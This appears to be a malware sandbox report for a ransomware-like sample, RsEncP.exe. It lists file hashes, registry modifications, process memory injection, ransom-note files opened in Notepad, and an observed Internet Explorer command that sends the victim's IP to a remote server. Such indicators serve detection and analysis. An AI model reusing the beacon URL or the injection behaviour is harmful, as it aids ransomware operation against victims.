Resubmissions
08-12-2021 11:46
211208-nxfx8scgh4 308-07-2021 12:20
210708-lww6e74kma 108-07-2021 07:33
210708-x3v895zhz2 1Analysis
-
max time kernel
143s -
max time network
121s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
08-12-2021 11:46
Static task
static1
Behavioral task
behavioral1
Sample
RsEncP.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
RsEncP.exe
Resource
win10-en-20211104
General
-
Target
RsEncP.exe
-
Size
195KB
-
MD5
1e8c10aca8b1af079d130d59585bbe87
-
SHA1
fffad47c0363a714ad2b1804ec98fd86e1577e88
-
SHA256
22240b86f52405d2d69523a3c74e5aa576e5251d72cccbf07e91273e4391a324
-
SHA512
cddd29afc17bca6324aaf422aa197fe2b2343f587aeadd40b3b5e13cddebf94a65bf46ab87ba66288562d899357fbb726df127ce316c2d4e930f8415cee09ef8
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{66803A21-5824-11EC-8EC9-6E0E796DF1A1} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe -
Modifies registry class 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_Classes\Local Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_Classes\Local Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_Classes\Local Settings rundll32.exe -
Opens file in notepad (likely ransom note) 2 IoCs
Processes:
NOTEPAD.EXENOTEPAD.EXEpid process 1748 NOTEPAD.EXE 1500 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
RsEncP.exepid process 1820 RsEncP.exe 1820 RsEncP.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
RsEncP.exeAUDIODG.EXEdescription pid process Token: SeDebugPrivilege 1820 RsEncP.exe Token: 33 1704 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1704 AUDIODG.EXE Token: 33 1704 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1704 AUDIODG.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
iexplore.exepid process 1556 iexplore.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
iexplore.exeIEXPLORE.EXEpid process 1556 iexplore.exe 1556 iexplore.exe 1780 IEXPLORE.EXE 1780 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
RsEncP.exeiexplore.exerundll32.exerundll32.exedescription pid process target process PID 1820 wrote to memory of 1556 1820 RsEncP.exe iexplore.exe PID 1820 wrote to memory of 1556 1820 RsEncP.exe iexplore.exe PID 1820 wrote to memory of 1556 1820 RsEncP.exe iexplore.exe PID 1820 wrote to memory of 1556 1820 RsEncP.exe iexplore.exe PID 1556 wrote to memory of 1780 1556 iexplore.exe IEXPLORE.EXE PID 1556 wrote to memory of 1780 1556 iexplore.exe IEXPLORE.EXE PID 1556 wrote to memory of 1780 1556 iexplore.exe IEXPLORE.EXE PID 1556 wrote to memory of 1780 1556 iexplore.exe IEXPLORE.EXE PID 956 wrote to memory of 1748 956 rundll32.exe NOTEPAD.EXE PID 956 wrote to memory of 1748 956 rundll32.exe NOTEPAD.EXE PID 956 wrote to memory of 1748 956 rundll32.exe NOTEPAD.EXE PID 960 wrote to memory of 1500 960 rundll32.exe NOTEPAD.EXE PID 960 wrote to memory of 1500 960 rundll32.exe NOTEPAD.EXE PID 960 wrote to memory of 1500 960 rundll32.exe NOTEPAD.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\RsEncP.exe"C:\Users\Admin\AppData\Local\Temp\RsEncP.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://116.123.119.125:50007//Pages/ResultCollect/Msg_Pop.aspx?strKey=dDcyZkNRSExEVGowSXhvOUM1QXJYamFsQUNYcHdXajExOE9tV0xqczNoST0=&p_encode=dkc3aTlVZTdLWE1MZkJWaHc4aXg0OWF6UWJGTGFYL2J6dmI3bEhVK0Z2QVJnaEtlSmdyTHZhdUJZZTgzWmdjZ1NYY0E1blcxZld6SDQzcGN0clE2UTV2NVEreUhza1pOOVV0cyt2Y2hDU1FOdk9XbkdkS3FSS01LeVdzeERQb3NFNm5uc3BaZ3VhUHZIWjBpTVZtaUpRPT0=&p_ip=175.196.87.251&p_host=175.196.87.2512⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x17c1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\fa46ac485979471c9b9e9780945712ee.Recon1⤵
- Modifies registry class
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\806f3a7dc96a40089f5981991b698a39.Recon1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\806f3a7dc96a40089f5981991b698a39.Recon2⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\01bcc0e224b94fef965a277dd0cfef88.Recon1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\01bcc0e224b94fef965a277dd0cfef88.Recon2⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Desktop\01bcc0e224b94fef965a277dd0cfef88.ReconMD5
994490cc3aa828dfcd94477f2cdfd231
SHA16880442e78ece0cee63d982ac6148068d5eaccb3
SHA256d1203a58ce329466919774c2685309e21df3f9dae97260429719a00fcc244df6
SHA512a6efd995b867b9987f74071efc91eba1a7776dbed409c6b9662440654b8d21919dede0e73b282f17fa32e68f7f8cd2bc37f14b6e5e58f9effc0ec3b99c53f4f8
-
C:\Users\Admin\Desktop\806f3a7dc96a40089f5981991b698a39.ReconMD5
994490cc3aa828dfcd94477f2cdfd231
SHA16880442e78ece0cee63d982ac6148068d5eaccb3
SHA256d1203a58ce329466919774c2685309e21df3f9dae97260429719a00fcc244df6
SHA512a6efd995b867b9987f74071efc91eba1a7776dbed409c6b9662440654b8d21919dede0e73b282f17fa32e68f7f8cd2bc37f14b6e5e58f9effc0ec3b99c53f4f8
-
memory/1500-68-0x0000000000000000-mapping.dmp
-
memory/1556-60-0x0000000000000000-mapping.dmp
-
memory/1748-64-0x0000000000000000-mapping.dmp
-
memory/1780-61-0x0000000000000000-mapping.dmp
-
memory/1820-55-0x0000000000390000-0x0000000000391000-memory.dmpFilesize
4KB
-
memory/1820-57-0x00000000757E1000-0x00000000757E3000-memory.dmpFilesize
8KB
-
memory/1820-58-0x0000000004DB0000-0x0000000004DB1000-memory.dmpFilesize
4KB
-
memory/1820-59-0x0000000004DB5000-0x0000000004DC6000-memory.dmpFilesize
68KB
-
memory/1824-62-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmpFilesize
8KB